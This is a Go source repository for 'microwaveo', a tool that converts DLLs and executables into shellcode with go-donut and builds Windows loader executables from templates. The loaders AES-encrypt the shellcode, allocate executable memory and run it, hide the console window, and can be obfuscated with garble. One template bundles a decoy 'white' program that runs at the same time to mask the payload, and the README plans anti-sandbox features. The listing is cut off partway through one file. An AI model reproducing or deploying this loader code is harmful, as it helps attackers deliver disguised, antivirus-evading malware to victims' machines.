├── .gitignore ├── go.mod ├── pkg ├── logger │ └── logger.go ├── utils │ ├── utils.go │ ├── aes.go │ └── rand.go ├── file2shellcode │ └── file2shellcode.go ├── loader │ └── loader.go └── cupboard │ └── cupboard.go ├── conf ├── template │ ├── template.tmpl │ ├── template_aes.tmpl │ └── template_aes_white.tmpl └── conf.go ├── go.sum ├── README.md └── cmd └── microwaveo.go /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe 2 | *.dll 3 | *.bin -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module microwaveo 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e 7 | github.com/urfave/cli/v2 v2.14.1 8 | ) 9 | 10 | require ( 11 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf // indirect 12 | github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect 13 | github.com/google/uuid v1.2.0 // indirect 14 | github.com/russross/blackfriday/v2 v2.1.0 // indirect 15 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /pkg/logger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | ) 8 | 9 | var mlog *log.Logger 10 | 11 | func Init() { 12 | mlog = log.New(os.Stdout, "[mcrowaveo] ", log.LstdFlags) 13 | } 14 | 15 | func Printf(format string, args ...interface{}) { 16 | mlog.Println(fmt.Sprintf(format, args...)) 17 | } 18 | 19 | func Print(p string) { 20 | mlog.Println(p) 21 | } 22 | 23 | func Fatalf(format string, args ...interface{}) { 24 | mlog.Fatal(fmt.Sprintf(format, args...)) 25 | } 26 | 27 | func Fatal(f string) { 28 | mlog.Fatal(f) 29 | } 30 | -------------------------------------------------------------------------------- /pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "os" 7 | "path/filepath" 8 | "strings" 9 | ) 10 | 11 | func FileIsExist(filePath string) bool { 12 | _, err := os.Stat(filePath) 13 | if err == nil { 14 | return true 15 | } 16 | if os.IsNotExist(err) { 17 | return false 18 | } 19 | return false 20 | } 21 | 22 | func GetCurrentDirectory() string { 23 | dir, err := filepath.Abs(filepath.Dir(os.Args[0])) 24 | if err != nil { 25 | fmt.Println(fmt.Sprintf("GetCurrentDirectory: %s", err)) 26 | } 27 | return strings.Replace(dir, "\\", "/", -1) 28 | } 29 | 30 | func CopyFile(srcPath, dstPath string) error { 31 | file1, err1 := os.Open(srcPath) 32 | if err1 != nil { 33 | return err1 34 | } 35 | file2, err2 := os.OpenFile(dstPath, os.O_RDWR|os.O_CREATE, os.ModePerm) 36 | if err2 != nil { 37 | return err2 38 | } 39 | defer file1.Close() 40 | defer file2.Close() 41 | _, err3 := io.Copy(file2, file1) 42 | if err3 != nil { 43 | return err3 44 | } 45 | return nil 46 | } 47 | -------------------------------------------------------------------------------- /pkg/file2shellcode/file2shellcode.go: -------------------------------------------------------------------------------- 1 | package file2shellcode 2 | 3 | import ( 4 | "bytes" 5 | 6 | "github.com/Binject/go-donut/donut" 7 | ) 8 | 9 | var donutArch donut.DonutArch 10 | 11 | func Build(filePath string, arch string, moduleName string, format string) (*bytes.Buffer, error) { 12 | switch arch { 13 | case "x32", "386": 14 | donutArch = donut.X32 15 | case "x64", "amd64": 16 | donutArch = donut.X64 17 | case "x84": 18 | donutArch = donut.X84 19 | } 20 | config := new(donut.DonutConfig) 21 | config.Arch = donutArch 22 | config.Entropy = uint32(3) 23 | config.OEP = uint64(0) 24 | config.InstType = donut.DONUT_INSTANCE_PIC 25 | config.Parameters = "" 26 | config.Runtime = "" 27 | config.URL = "" 28 | config.Class = "" 29 | config.Method = "" 30 | config.Domain = "" 31 | config.Bypass = 3 32 | config.Method = moduleName 33 | config.Compress = uint32(1) 34 | config.Verbose = false 35 | config.ExitOpt = uint32(1) 36 | if format == "hex" { 37 | config.Format = uint32(8) 38 | } else { 39 | config.Format = uint32(1) 40 | } 41 | // run 42 | return donut.ShellcodeFromFile(filePath, config) 43 | 44 | } 45 | -------------------------------------------------------------------------------- /conf/template/template.tmpl: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | _ "embed" 5 | "syscall" 6 | "unsafe" 7 | ) 8 | 9 | //go:embed static/tmp.bin 10 | var beacon []byte 11 | 12 | // shellcode 13 | const ( 14 | MEM_COMMIT = 0x1000 15 | MEM_RESERVE = 0x2000 16 | PAGE_EXECUTE_READWRITE = 0x40 17 | KEY_1 = 55 18 | KEY_2 = 66 19 | ) 20 | 21 | var ( 22 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 23 | ntdll = syscall.MustLoadDLL("ntdll.dll") 24 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 25 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 26 | ) 27 | 28 | func Run(shellcodeBeacon []byte) { 29 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 30 | _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 31 | syscall.Syscall(addr, 0, 0, 0, 0) 32 | } 33 | 34 | func shellcoeRun(code []byte) { 35 | Run(code) 36 | } 37 | 38 | func main() { 39 | defer func() { 40 | if v := recover(); v != nil { 41 | return 42 | } 43 | }() 44 | shellcoeRun(beacon) 45 | } 46 | -------------------------------------------------------------------------------- /pkg/utils/aes.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | ) 8 | 9 | func PKCS7Padding(ciphertext []byte, blockSize int) []byte { 10 | padding := blockSize - len(ciphertext)%blockSize 11 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 12 | return append(ciphertext, padtext...) 13 | } 14 | 15 | func PKCS7UnPadding(origData []byte) []byte { 16 | length := len(origData) 17 | unpadding := int(origData[length-1]) 18 | return origData[:(length - unpadding)] 19 | } 20 | 21 | //AES加密,CBC 22 | func AesEncrypt(origData, key []byte) ([]byte, error) { 23 | block, err := aes.NewCipher(key) 24 | if err != nil { 25 | return nil, err 26 | } 27 | blockSize := block.BlockSize() 28 | origData = PKCS7Padding(origData, blockSize) 29 | blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) 30 | crypted := make([]byte, len(origData)) 31 | blockMode.CryptBlocks(crypted, origData) 32 | return crypted, nil 33 | } 34 | 35 | //AES解密 36 | func AesDecrypt(crypted, key []byte) ([]byte, error) { 37 | block, err := aes.NewCipher(key) 38 | if err != nil { 39 | return nil, err 40 | } 41 | blockSize := block.BlockSize() 42 | blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) 43 | origData := make([]byte, len(crypted)) 44 | blockMode.CryptBlocks(origData, crypted) 45 | origData = PKCS7UnPadding(origData) 46 | return origData, nil 47 | } 48 | 49 | func EncryptFile(srcPath, dstPath, key string) { 50 | 51 | } 52 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY= 2 | github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= 3 | github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o= 4 | github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw= 5 | github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= 6 | github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= 7 | github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 8 | github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= 9 | github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 10 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 11 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 12 | github.com/urfave/cli/v2 v2.14.1 h1:0Sx+C9404t2+DPuIJ3UpZFOEFhNG3wPxMj7uZHyZKFA= 13 | github.com/urfave/cli/v2 v2.14.1/go.mod h1:1CNUng3PtjQMtRzJO4FMXBQvkGtuYRxxiR9xMa7jMwI= 14 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU= 15 | github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8= 16 | -------------------------------------------------------------------------------- /pkg/utils/rand.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | ) 7 | 8 | const letterBytes = "abcdefghijklmnopqrstuvwxyz" 9 | const letterNumberBytes = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 10 | const lowletterNumberBytes = "0123456789abcdefghijklmnopqrstuvwxyz" 11 | const ( 12 | letterIdxBits = 6 // 6 bits to represent a letter index 13 | letterIdxMask = 1<= 0; { 23 | if remain == 0 { 24 | cache, remain = r.Int63(), letterIdxMax 25 | } 26 | if idx := int(cache & letterIdxMask); idx < len(choices) { 27 | b[i] = choices[idx] 28 | i-- 29 | } 30 | cache >>= letterIdxBits 31 | remain-- 32 | } 33 | 34 | return string(b) 35 | } 36 | 37 | // RandLetters 随机小写字母 38 | func RandLetters(n int) string { 39 | return RandFromChoices(n, letterBytes) 40 | } 41 | 42 | // RandLetterNumbers 随机大小写字母和数字 43 | func RandLetterNumbers(n int) string { 44 | return RandFromChoices(n, letterNumberBytes) 45 | } 46 | 47 | // RandLowLetterNumber 随机小写字母和数字 48 | func RandLowLetterNumber(n int) string { 49 | return RandFromChoices(n, lowletterNumberBytes) 50 | } 51 | -------------------------------------------------------------------------------- /conf/conf.go: -------------------------------------------------------------------------------- 1 | package conf 2 | 3 | import ( 4 | _ "embed" 5 | "fmt" 6 | "io/ioutil" 7 | "microwaveo/pkg/utils" 8 | "os" 9 | "os/exec" 10 | "path" 11 | ) 12 | 13 | //go:embed template/template.tmpl 14 | var t []byte 15 | 16 | //go:embed template/template_aes.tmpl 17 | var tAes []byte 18 | 19 | //go:embed template/template_aes_white.tmpl 20 | var tAesWhite []byte 21 | 22 | func initDir(p string) { 23 | if !utils.FileIsExist(p) { 24 | os.Mkdir(p, 0666) 25 | } 26 | } 27 | 28 | func initTemplate(tName string, content []byte) { 29 | tmplPath := path.Join(utils.GetCurrentDirectory(), "conf", "template", tName) 30 | if !utils.FileIsExist(tmplPath) { 31 | ioutil.WriteFile(tmplPath, content, 0666) 32 | } 33 | } 34 | 35 | func Init() { 36 | confParh := path.Join(utils.GetCurrentDirectory(), "conf") 37 | initDir(confParh) 38 | templateParh := path.Join(confParh, "template") 39 | initDir(templateParh) 40 | staticPath := path.Join(templateParh, "static") 41 | initDir(staticPath) 42 | // template 43 | initTemplate("template.tmpl", t) 44 | initTemplate("template_aes.tmpl", tAes) 45 | initTemplate("template_aes_white.tmpl", tAesWhite) 46 | } 47 | 48 | func EnvironmentalTestGo() { 49 | // 需要go 环境 还有garble 50 | goCmd := exec.Command("go", "version") 51 | goErr := goCmd.Run() 52 | if goErr != nil { 53 | fmt.Println("you need to install go for build exe: https://studygolang.com/dl") 54 | os.Exit(-1) 55 | } 56 | } 57 | 58 | func EnvironmentalTestGarble() { 59 | garbleCmd := exec.Command("garble", "version") 60 | garbleErr := garbleCmd.Run() 61 | if garbleErr != nil { 62 | fmt.Println("You need to install garble for compilation: go install mvdan.cc/garble@latest") 63 | os.Exit(-1) 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Microwaveo 2 | 3 | 一个小工具 微波炉加热一下dll 4 | 5 | 1. 调用 go-donut 将dll/exe等转为shellcode 6 | 2. 使用go模板构建shellcode的加载器 最后输出exe 7 | 3. 也支持直接传入shellcode来构建最后的exe 8 | 4. 默认是对shellcode文件进行随机aes key加密的 9 | 5. 支持白文件捆绑 运行最后的exe会执行shellcode并运行白文件 10 | 6. 最后的exe支持 garble混淆 11 | 12 | ## 注意 13 | **因为是使用go 构建exe所以需要go的环境** 14 | 15 | ## 使用 16 | 17 | 编译好的文件可以直接在 在这里 [releases](https://github.com/Ciyfly/microwaveo/releases) 下载 当然可以自己编译 18 | 19 | ```shell 20 | ./microwaveo --help 21 | GLOBAL OPTIONS: 22 | --arch value, -a value shellcode arch x32 x64 x84 default x64 (default: "x64") 23 | --encrypt value, -e value encrypt the generated exe support aes default aes (default: "aes") 24 | --funcname value, --fn value dll func name 25 | --help, -h show help (default: false) 26 | --input value, -i value input file dll/exe/shellcode 27 | --obfuscate, --of obfuscate the generated exe using garble (default: false) 28 | --shellcodeFormat value, -s value output shellcode format hex bin default bin (default: "bin") 29 | --version, -v print the version (default: false) 30 | --white value, -w value bundled white files file path 31 | ``` 32 | 33 | ### 将dll转为exe 34 | 35 | ```shell 36 | ./microwaveo -i recar.dll -fn RunRecar 37 | ``` 38 | 39 | ### 将exe控制为32位 40 | ``` 41 | ./microwaveo -i recar.dll -fn RunRecar -a x32 42 | ``` 43 | 44 | ### 捆绑白文件 45 | ``` 46 | ./microwaveo -i recar.dll -fn RunRecar -w 白文件.exe 47 | ``` 48 | 49 | ### 使用garble混淆最后的exe 50 | ``` 51 | ./microwaveo -i recar.dll -fn RunRecar --of 52 | ``` 53 | 需要安装 garble 54 | 最简单的安装 使用 `go install mvdan.cc/garble@latest` 最后配置环境变量 55 | 56 | 57 | ## TODO 58 | 59 | 1. 思考是不是可以将加载器做成多个模板的形式来处理 60 | 2. 增加一些反沙箱的东西 61 | 3. 待定 有任何想法欢迎与我交流 62 | 63 | 64 | -------------------------------------------------------------------------------- /conf/template/template_aes.tmpl: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | _ "embed" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | //go:embed static/tmp.bin 13 | var beacon []byte 14 | 15 | 16 | // shellcode 17 | const ( 18 | MEM_COMMIT = 0x1000 19 | MEM_RESERVE = 0x2000 20 | PAGE_EXECUTE_READWRITE = 0x40 21 | KEY_1 = 55 22 | KEY_2 = 66 23 | ) 24 | 25 | var ( 26 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 27 | ntdll = syscall.MustLoadDLL("ntdll.dll") 28 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 29 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 30 | ) 31 | 32 | func Run(shellcodeBeacon []byte) { 33 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 34 | _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 35 | syscall.Syscall(addr, 0, 0, 0, 0) 36 | } 37 | 38 | func PKCS7Padding(ciphertext []byte, blockSize int) []byte { 39 | padding := blockSize - len(ciphertext)%blockSize 40 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 41 | return append(ciphertext, padtext...) 42 | } 43 | 44 | func PKCS7UnPadding(origData []byte) []byte { 45 | length := len(origData) 46 | unpadding := int(origData[length-1]) 47 | return origData[:(length - unpadding)] 48 | } 49 | 50 | //AES解密 51 | func AesDecrypt(crypted, key []byte) ([]byte, error) { 52 | block, err := aes.NewCipher(key) 53 | if err != nil { 54 | return nil, err 55 | } 56 | blockSize := block.BlockSize() 57 | blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) 58 | origData := make([]byte, len(crypted)) 59 | blockMode.CryptBlocks(origData, crypted) 60 | origData = PKCS7UnPadding(origData) 61 | return origData, nil 62 | } 63 | 64 | func shellcoeRun(encrypteds []byte, aesKey string) { 65 | origin, _ := AesDecrypt(encrypteds, []byte(aesKey)) 66 | Run([]byte(origin)) 67 | } 68 | 69 | func main() { 70 | defer func() { 71 | if v := recover(); v != nil { 72 | return 73 | } 74 | }() 75 | // shellcode 76 | key := "{{.AesKey}}" 77 | shellcoeRun(beacon, key) 78 | } -------------------------------------------------------------------------------- /conf/template/template_aes_white.tmpl: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | _ "embed" 8 | "io/ioutil" 9 | "os" 10 | "os/exec" 11 | "path" 12 | "sync" 13 | "syscall" 14 | "unsafe" 15 | ) 16 | 17 | //go:embed static/tmp.bin 18 | var beacon []byte 19 | 20 | //go:embed static/white.exe 21 | var whiteFile string 22 | 23 | func execCmd(command string) { 24 | // cmd := exec.Command("cmd.exe", "/c", "start", command) 25 | cmd := exec.Command("cmd.exe", "/c", "start", command) 26 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 27 | cmd.Start() 28 | } 29 | 30 | // shellcode 31 | const ( 32 | MEM_COMMIT = 0x1000 33 | MEM_RESERVE = 0x2000 34 | PAGE_EXECUTE_READWRITE = 0x40 35 | KEY_1 = 55 36 | KEY_2 = 66 37 | ) 38 | 39 | var ( 40 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 41 | ntdll = syscall.MustLoadDLL("ntdll.dll") 42 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 43 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 44 | ) 45 | 46 | func Run(shellcodeBeacon []byte) { 47 | addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 48 | _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 49 | syscall.Syscall(addr, 0, 0, 0, 0) 50 | } 51 | 52 | func PKCS7Padding(ciphertext []byte, blockSize int) []byte { 53 | padding := blockSize - len(ciphertext)%blockSize 54 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 55 | return append(ciphertext, padtext...) 56 | } 57 | 58 | func PKCS7UnPadding(origData []byte) []byte { 59 | length := len(origData) 60 | unpadding := int(origData[length-1]) 61 | return origData[:(length - unpadding)] 62 | } 63 | 64 | //AES解密 65 | func AesDecrypt(crypted, key []byte) ([]byte, error) { 66 | block, err := aes.NewCipher(key) 67 | if err != nil { 68 | return nil, err 69 | } 70 | blockSize := block.BlockSize() 71 | blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) 72 | origData := make([]byte, len(crypted)) 73 | blockMode.CryptBlocks(origData, crypted) 74 | origData = PKCS7UnPadding(origData) 75 | return origData, nil 76 | } 77 | 78 | func shellcoeRun(encrypteds []byte, aesKey string) { 79 | origin, _ := AesDecrypt(encrypteds, []byte(aesKey)) 80 | Run([]byte(origin)) 81 | } 82 | 83 | func main() { 84 | var wg = sync.WaitGroup{} 85 | wg.Add(2) 86 | go func() { 87 | // shellcode 88 | defer wg.Done() 89 | key := "{{.AesKey}}" 90 | shellcoeRun(beacon, key) 91 | }() 92 | go func() { 93 | defer wg.Done() 94 | whitePath := path.Join(os.TempDir(), "white.exe") 95 | ioutil.WriteFile(whitePath, []byte(whiteFile), 0666) 96 | execCmd(whitePath) 97 | }() 98 | wg.Wait() 99 | } -------------------------------------------------------------------------------- /pkg/loader/loader.go: -------------------------------------------------------------------------------- 1 | package loader 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "io/ioutil" 7 | "microwaveo/pkg/logger" 8 | "microwaveo/pkg/utils" 9 | "os" 10 | "os/exec" 11 | "path" 12 | "strings" 13 | "text/template" 14 | "time" 15 | ) 16 | 17 | type TmplValue struct { 18 | FileName string 19 | Obfuscate bool 20 | Encrypt string 21 | AesKey string 22 | White string 23 | Arch string 24 | } 25 | 26 | func Build(tv TmplValue) { 27 | var tmplPath string 28 | goCodeDir := path.Join(utils.GetCurrentDirectory(), "conf", "template") 29 | if tv.Encrypt == "aes" { 30 | tmplPath = path.Join(goCodeDir, "template_aes.tmpl") 31 | } else { 32 | tmplPath = path.Join(goCodeDir, "template.tmpl") 33 | } 34 | if tv.White != "" { 35 | tmplPath = path.Join(goCodeDir, "template_aes_white.tmpl") 36 | } 37 | logger.Printf("use loader tmpl: %s", tmplPath) 38 | goCodePath := path.Join(goCodeDir, "tmp.go") 39 | outputpath := path.Join(utils.GetCurrentDirectory(), tv.FileName+".exe") 40 | tpl, err := template.ParseFiles(tmplPath) 41 | 42 | if err != nil { 43 | logger.Fatalf("parse tmpl error: %s", err.Error()) 44 | } 45 | if utils.FileIsExist(goCodePath) { 46 | os.Remove(goCodePath) 47 | } 48 | f, err := os.Create(goCodePath) 49 | if err != nil { 50 | logger.Fatalf("os create exe error: %s,%s", err.Error(), goCodePath) 51 | } 52 | tpl.Execute(f, tv) 53 | // f.Close() 54 | f.Close() 55 | time.Sleep(2 * time.Second) 56 | 57 | // go build tmpl 58 | var cmd *exec.Cmd 59 | ctx, cancelFunc := context.WithTimeout(context.Background(), time.Duration(60)*time.Second) 60 | cmd = exec.CommandContext(ctx, "go", "build", "-ldflags", "-s -w -H windowsgui", "-o", outputpath, goCodePath) 61 | 62 | // 如果开启了混淆使用 garble来build 63 | if tv.Obfuscate { 64 | logger.Print("use garble build exe, It will take a long time, please wait") 65 | cmd = exec.CommandContext(ctx, "garble", "build", "-ldflags", "-s -w -H windowsgui", "-o", outputpath, goCodePath) 66 | } 67 | closer, err := cmd.StdoutPipe() 68 | defer func() { 69 | cancelFunc() 70 | _ = closer.Close() 71 | _ = cmd.Wait() 72 | }() 73 | cmd.Dir = goCodeDir 74 | // arch env 75 | var arch = "amd64" 76 | if tv.Arch == "x32" { 77 | arch = "386" 78 | } 79 | logger.Printf("arch: %s", arch) 80 | cmd.Env = append(os.Environ(), fmt.Sprintf("GOARCH=%s", arch)) 81 | // windows 82 | cmd.Env = append(cmd.Env, fmt.Sprintf("GOOS=%s", "windows")) 83 | cmd.Env = append(cmd.Env, fmt.Sprintf("CGO_ENABLED=%s", "0")) 84 | 85 | err = cmd.Start() 86 | if err != nil { 87 | logger.Fatalf("go build to exe error: %s", err.Error()) 88 | } 89 | bytes, err := ioutil.ReadAll(closer) 90 | if err != nil { 91 | logger.Fatal("go build to exe error") 92 | } 93 | if string(bytes) != "" { 94 | logger.Printf("build tmpl error %s", strings.TrimSpace(string(bytes))) 95 | } 96 | err = os.Remove(goCodePath) 97 | if utils.FileIsExist(outputpath) { 98 | logger.Printf("generated exe: %s", outputpath) 99 | } else { 100 | logger.Printf("Generated exe error Could be a template or environment issue") 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /cmd/microwaveo.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "microwaveo/conf" 6 | "microwaveo/pkg/cupboard" 7 | "microwaveo/pkg/logger" 8 | "microwaveo/pkg/utils" 9 | "os" 10 | "os/signal" 11 | "syscall" 12 | 13 | "github.com/urfave/cli/v2" 14 | ) 15 | 16 | func SetupCloseHandler() { 17 | c := make(chan os.Signal) 18 | signal.Notify(c, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT, os.Interrupt, os.Kill, syscall.SIGKILL) 19 | go func() { 20 | s := <-c 21 | fmt.Println(fmt.Sprintf("recv signal: %d", s)) 22 | fmt.Println("ctrl+c exit") 23 | os.Exit(0) 24 | }() 25 | } 26 | 27 | func init() { 28 | logger.Init() 29 | conf.Init() 30 | } 31 | func main() { 32 | SetupCloseHandler() 33 | app := cli.NewApp() 34 | app.Name = "mcrowaveo" 35 | app.Usage = "mcrowaveo -i test.dll " 36 | app.Version = "0.1" 37 | app.Flags = []cli.Flag{ 38 | &cli.StringFlag{ 39 | Name: "input", 40 | Aliases: []string{"i"}, 41 | Usage: "input file dll/exe/shellcode", 42 | }, 43 | &cli.StringFlag{ 44 | Name: "arch", 45 | Aliases: []string{"a"}, 46 | Value: "x64", 47 | Usage: "shellcode arch x32 x64 x84 default x64", 48 | }, 49 | &cli.StringFlag{ 50 | Name: "funcname", 51 | Aliases: []string{"fn"}, 52 | Usage: "dll func name", 53 | }, 54 | &cli.StringFlag{ 55 | Name: "shellcodeFormat", 56 | Aliases: []string{"s"}, 57 | Value: "bin", 58 | Usage: "output shellcode format hex bin default bin", 59 | }, 60 | &cli.BoolFlag{ 61 | Name: "obfuscate", 62 | Aliases: []string{"of"}, 63 | Usage: "obfuscate the generated exe using garble", 64 | }, 65 | //encrypt 66 | &cli.StringFlag{ 67 | Name: "encrypt", 68 | Aliases: []string{"e"}, 69 | Value: "aes", 70 | Usage: "encrypt the generated exe support aes default aes", 71 | }, 72 | &cli.StringFlag{ 73 | Name: "white", 74 | Aliases: []string{"w"}, 75 | Usage: "bundled white files file path", 76 | }, 77 | } 78 | app.Action = RunMain 79 | 80 | err := app.Run(os.Args) 81 | if err != nil { 82 | logger.Fatalf("cli.RunApp err: %s", err.Error()) 83 | return 84 | } 85 | } 86 | 87 | func RunMain(c *cli.Context) error { 88 | 89 | input := c.String("input") 90 | white := c.String("white") 91 | arch := c.String("arch") 92 | funcName := c.String("funcname") 93 | obfuscate := c.Bool("obfuscate") 94 | encrypt := c.String("encrypt") 95 | shellcodeFormat := c.String("shellcodeFormat") 96 | if input == "" { 97 | logger.Fatal("You need to enter the dll exe shellcode file path specified by -i") 98 | os.Exit(-1) 99 | } 100 | if utils.FileIsExist(input) == false { 101 | logger.Fatal("input file not exist") 102 | os.Exit(-1) 103 | } 104 | args := &cupboard.Cmdargs{ 105 | Input: input, 106 | Arch: arch, 107 | FuncName: funcName, 108 | ShellcodeFormat: shellcodeFormat, 109 | White: white, 110 | Obfuscate: obfuscate, 111 | Encrypt: encrypt, 112 | } 113 | conf.EnvironmentalTestGo() 114 | if obfuscate { 115 | conf.EnvironmentalTestGarble() 116 | } 117 | cupboard.Build(args) 118 | return nil 119 | } 120 | -------------------------------------------------------------------------------- /pkg/cupboard/cupboard.go: -------------------------------------------------------------------------------- 1 | package cupboard 2 | 3 | import ( 4 | "io/ioutil" 5 | "microwaveo/pkg/file2shellcode" 6 | "microwaveo/pkg/loader" 7 | "microwaveo/pkg/logger" 8 | "microwaveo/pkg/utils" 9 | "os" 10 | "path" 11 | "strings" 12 | ) 13 | 14 | type Cmdargs struct { 15 | Input string 16 | White string 17 | Arch string 18 | FuncName string 19 | ShellcodeFormat string 20 | Obfuscate bool 21 | Encrypt string 22 | } 23 | 24 | func Build(args *Cmdargs) { 25 | // 生成shellcode 26 | var shellcodeOutputpath string 27 | tv := &loader.TmplValue{} 28 | fileNameWithSuffix := path.Base(args.Input) 29 | fileType := path.Ext(fileNameWithSuffix) 30 | fileNameOnly := strings.TrimSuffix(fileNameWithSuffix, fileType) 31 | tv.FileName = fileNameOnly 32 | logger.Printf("We use microwave to heat %s ", fileNameWithSuffix) 33 | if fileType == ".dll" && args.FuncName == "" { 34 | logger.Fatal("input is dll, you need to specify -fn") 35 | os.Exit(-1) 36 | } 37 | if fileType == ".exe" || fileType == ".dll" || fileType == ".vbs" || fileType == ".js" || fileType == ".xsl" { 38 | shellcodeBuffer, err := file2shellcode.Build(args.Input, args.Arch, args.FuncName, args.ShellcodeFormat) 39 | if err != nil { 40 | logger.Fatalf("build shellcode error: %s", err.Error()) 41 | } 42 | shellcodeOutputpath = path.Join(utils.GetCurrentDirectory(), fileNameOnly+"."+args.ShellcodeFormat) 43 | f, err := os.Create(shellcodeOutputpath) 44 | if err != nil { 45 | logger.Fatalf("os create shellcode outpath error: %s,%s", err.Error(), shellcodeOutputpath) 46 | } 47 | defer f.Close() 48 | if _, err = shellcodeBuffer.WriteTo(f); err != nil { 49 | logger.Fatalf("write shellcode error: %s", err.Error()) 50 | } 51 | logger.Printf("generated shellcode: %s", shellcodeOutputpath) 52 | } 53 | // shellcode 通过加载器生成exe 54 | if fileType == ".bin" { 55 | logger.Print("use input shellcode compline") 56 | shellcodeOutputpath = args.Input 57 | } 58 | dstShellcodePath := path.Join(utils.GetCurrentDirectory(), "conf", "template", "static", "tmp.bin") 59 | // 如果开启了加密 需要对shellcode进行加密 60 | if args.Encrypt == "aes" { 61 | // 生成随机key 62 | key := utils.RandLetters(32) 63 | tv.AesKey = key 64 | shellcodeData, err := ioutil.ReadFile(shellcodeOutputpath) 65 | if err != nil { 66 | 